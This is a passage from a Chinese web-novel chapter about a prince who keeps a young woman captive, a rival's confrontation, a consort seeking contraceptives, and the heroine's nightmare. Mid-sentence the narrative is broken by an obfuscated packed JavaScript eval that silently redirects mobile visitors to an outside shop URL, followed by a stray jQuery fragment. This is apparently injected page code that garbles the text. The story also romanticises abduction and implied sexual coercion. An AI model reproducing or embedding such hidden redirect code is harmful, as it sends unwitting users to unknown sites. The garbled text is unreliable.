宋奕慢条斯理地啜饮了口茶,面不改色道:“她啊,自金銮殿那日起,本王便没再见过了,三公子这话从何说起?”
这厚颜无耻的话让姚文卿彻底认清了眼前人的真面目,从前他有多敬仰那位惊才风逸的太子殿下,此刻就有多痛恶眼前卑鄙无耻的小人。
然而纵使在厌恶,此刻他也不得不耐着性子跟他周旋。
“劝殿下莫要一错再错,姚某虽位卑职小,却也得以面见天颜。”
呵...宋奕气笑了,能威胁他的人,还没出世呢。
“三公子的话,本王不大明白。只是若要弹劾本王,还得拿出实打实的证据来,本王才能背这个锅不是?”
宋奕眼神不屑地睥睨着他,唇边噙着一抹讥笑。
姚文卿定定地看着座上那慵懒倨傲的人,默默攥紧了拳。
祖父说的对,宋奕就是个无德无行的小人。
即便双方都心知肚明,可他抽身得干净利落,拿不出像样的证据来,自己就算说破天他也不会承认,更别提放人了。
姚文卿回想起来之前祖父说的话,决定换种问法来试探。
“云荷以前本就吃了不少苦,殿下若是真心喜欢她,便不该如此待她......”
姚文卿一边说着一边细细观察宋奕的神情变化,见他虽面不改色,可品茶的动作却是滞了一瞬。
虽仅是短短一瞬间,却还是被他捕捉到了。
祖父果然没有说错,宋奕对云荷是有些情意的,否则也不会冒险进了相府却只是掳走她,而不是直接杀了她泄愤。
意识到这一点,姚文卿内心莫名有些堵得难受。
“三公子怕是糊涂了,本王听不明白你在说什么。”宋奕状若寻常一般,气定神闲地刮着杯沿。
姚文卿不理会他的装傻,继续道:“强扭的瓜不甜,殿下合该问问她的意愿,而不是一味地强迫。”
宋奕半阖了眼皮遮住阴冷的眼神,顺手搁下茶盏,下了逐客令。
“三公子若只是过来说这些没头没脑的话,那本王便不奉陪了。”
他大步越过姚文卿,与他擦身而过后,原本平静的脸色骤然冷下来。
他姚文卿算个什么东西?也配教训他?
显然,他被姚文卿的话刺激到了。
他喜欢她么?应是有些喜欢的罢。
这貌似是他第一次直面喜欢这二字,也是第一次对一个女子产生这种令他陌生却又难以自拔的情愫。
从前他只觉她有些新鲜,与旁的女子似乎不大一样,具体哪里不一样他也说不上来,
毕竟他本就对女子兴致索然,娶妻纳妾也只是礼教使然,为了安父母命和绵延皇室血脉。
可不知什么时候起,那股新奇感渐渐变成了占有欲,又在她一次次的拒绝中变成了不甘和偏执。
再到如今,一想起她便控制不住地想见她,一见到她便不由自主地想亲近她。
不知不觉就走到了卧房门口,宋奕停下脚步,缓缓推开门,女子平缓清浅的呼吸声渐渐清晰起来。
他摆手示意寒鸦不用行礼,随即慢慢走到床榻前,目光轻轻地落在那午憩的女子身上。
虽在酣睡,可眉头却是拧着的。
宋奕知道,她定是梦见自己了,此刻说不准正指着鼻子骂他。
只这般静静地看着她,他便生出一股难以言喻的满足感。
也好。
就这样罢,就这样过下去罢。
哪怕她不喜欢自己,哪怕要将她困一辈子,只要她在自己身边,便什么都不重要。
姚文卿一言不发地出了翊王府,步子相比较来时松缓了些,看翊王的态度,云荷应是没有生命危险。
他走出一段路,又回头看了眼翊王府那高低不一的檐牙,内心五味杂陈。
想必云荷此刻便在其中一间罢,也不知她如何了。
刚准备收回目光,便见翊王府后巷的方向闪过一个熟悉的身影。
大哥?他怎么会出现在这?
此时此刻,靠近后巷的芙蓉苑内,郁春岚篦了篦微松的发髻,又拢了拢衣领遮住那些暧昧的吻痕,才将被她支开的知琴唤回来。
“去寻个看妇人内症的大夫来,记着从后门带进来。”
说着,她从钱袋中拿出几两银子递给知琴,让她看着打点。
“侧妃可是身子不爽利?”知琴问道。
郁春岚瞥了她一眼:“让你去便去,问这许多做什么?”
知琴讪讪笑了笑,识趣地走了。
郁春岚收回目光,从妆奁匣子里摸出一个瓷瓶,将里面的最后一颗避子药吃了下去。
日后再想从太医那儿拿药是不可能了,她得尽快找个可靠的大夫,否则万一怀上了,麻烦就大了。
正兀自想着,冷不丁听见一阵越来越近哭泣声,她收好匣子出门一看,正是那芳苏的身边的丫头念秋。
“怎么了这是?”郁春岚颇有些稀奇地看着她,顺手掏出了一方绢帕递过去。
念秋一愣,伸手接过:“多谢郁侧妃,奴婢没事儿。”
郁春岚瞥了眼她手腕上红肿的痕迹,询问道:“被你们侧妃罚了?”
念秋摇了摇头,抽噎道:“不,是奴婢自己不中用,没能把侧妃做的点心送到王爷跟前。”
闻言,郁春岚狠狠翻了个白眼,王妃的人都进不了清晖堂,她芳苏还真当自己是碟子菜。
不过话又说回来,那宋奕将他的清晖堂也看得忒紧了些,便是从前在宫里,也没见他把广阳宫守得这般严实。
当真是奇怪。
“奴婢先退下了。”念秋见她蹙着眉,急忙行礼告退。
郁春岚回过神,出声叫住她,进院拿了瓶膏药递给她。
“拿去抹上罢,这是专治外伤的。”
念秋睁着泪湿的眸子,愣愣看着她,犹豫着半天没敢伸手。
郁春岚有些不耐,直接塞到了她手里:“拿着罢,日后机灵些,别什么吃力不讨好的活计都往上凑。”
说罢也不再看她,转身进了芙蓉苑。
她素来看这丫头有些憨厚老实,许是后被买进府的缘故,并不同其他丫鬟那般与芳苏亲近,故而不少粗活累活她都抢着干,被其他丫鬟甩了这种妥妥地吃闭门羹的活计也不自知。
不过她好歹出言提点了,日后能不能改变处境,全靠她自己了。
约莫半个时辰后,知琴从后门带了个老大夫进了芙蓉苑。
老大夫刚拿出丝帕准备请脉,便见那珠帘内的人挥了挥手,随即室内只剩下他二人。
想他入行四十载,深宅大院不知进过多少,宅门秘辛也不知听过几何,一看这架势便知不是单纯的看病这么简单。
耳边的脚步声渐渐消失,果然听见那珠帘内的人开口:“敢问大夫可有避子良药?”
闻言,老大夫愣了愣,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222214|132906||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
找他看病的妇人大多是求子的,开口要避子的倒是少见。
“有是有,只不过出门急了些,并未带过来。夫人若是需要,可派小厮随我回药铺取来。”
“不着急,我只是小日子到了有些腹痛,明日午后再来把脉时,劳烦大夫带几副过来,届时必有重谢。”
让人跟他去拿避子药?那岂不是让整个王府知道她郁春岚偷人?
话说到这份上,那老大夫哪还有什么不明白,虽颇有些稀奇,可说到底也不是要什么砒霜毒药。
他开口应下,随即拎着药箱离开。
***
迷蒙云雾中,计云舒漫无目的地走着,眼前忽然出现一个熟悉的鸦青色身影。
“姚文卿?”
那人循声回过头来,果然是记忆中那张温润清逸的脸。
他指了指前方,笑如朗月入怀:“你看那边......”
计云舒走近他,挥开眼前的迷雾,顺着他所指的方向看去,是一条静静流淌的长河和一条乌蓬船,而河的对面赫然是那高楼林立的熟悉景象。
“我们......回来了?”
姚文卿含笑看着还未从震惊中回过神的计云舒,朝她伸出手:“来罢,渡过那条河,我们就回家了。”
回家了......
计云舒眼里的不可置信渐渐被喜悦代替,她搭上姚文卿的手,随他上了船。
就在二人将要抵达彼岸之际,一支利剑破空而来,射穿了姚文卿的胸膛。
她搂住倒下的姚文卿,悲痛地朝他身后看去。
只见一匹高大的红鬃烈马上,一身玄黑甲胄的宋奕满身戾气,深不见底的黑眸中尽是阴狠与癫狂。
“你休想摆脱我!”
说罢,他狠甩马鞭,纵马向她驶来。
“啊!”
计云舒猛地惊醒,听见寒鸦担忧的询问,才意识过来那是个梦,是个可怕的梦。
她茫然地坐起身,擦了擦额头上的冷汗,隔着缁色帏帐闷闷道:“我没事,现下什么时辰了?”
“刚过申时。”
清冷低沉的声音响起,计云舒怔了怔,仿佛又回到了方才的梦境。
宋奕见她迟迟没动静,忍不住上前撩起帷帐,明知故问道:“做噩梦了?”
计云舒缓了缓,起身下床,径直略过他,来到桌前倒了杯茶大口饮着,身后那人却还在纠缠不休。
“你方才喊了本王的名字。”
宋奕不紧不慢地站在她身后,语气带了些莫名奇妙的愉悦。
虽知晓自己在她梦里定然落不着什么好人,可她竟梦见了自己,意识到这一点的宋奕眼角眉梢晕染了些悦意,连整个人看起来都柔和了不少。
闻言,计云舒喝茶的动作顿了顿,道:“王爷怕是听错了。”
宋奕从背后揽住她的腰,目光落在她散开的青丝上。
他挑起一缕在指缝间把玩,贴在她耳边低声道:“听没听错,本王心里有数,你心里也有数。”
寒鸦见状悄悄地退了出去,自觉地带上了门。
房内只剩他二人,宋奕更加肆无忌惮起来。
计云舒挣脱不得,怫然而怒:“你到底想如何?!若说只是图我身子,王爷不是已经得偿所愿了么?”
宋奕的动作倏然止住,他从她脖颈间抬起头,幽幽地看着她的侧脸。
“若本王说,不止要你的身子呢?”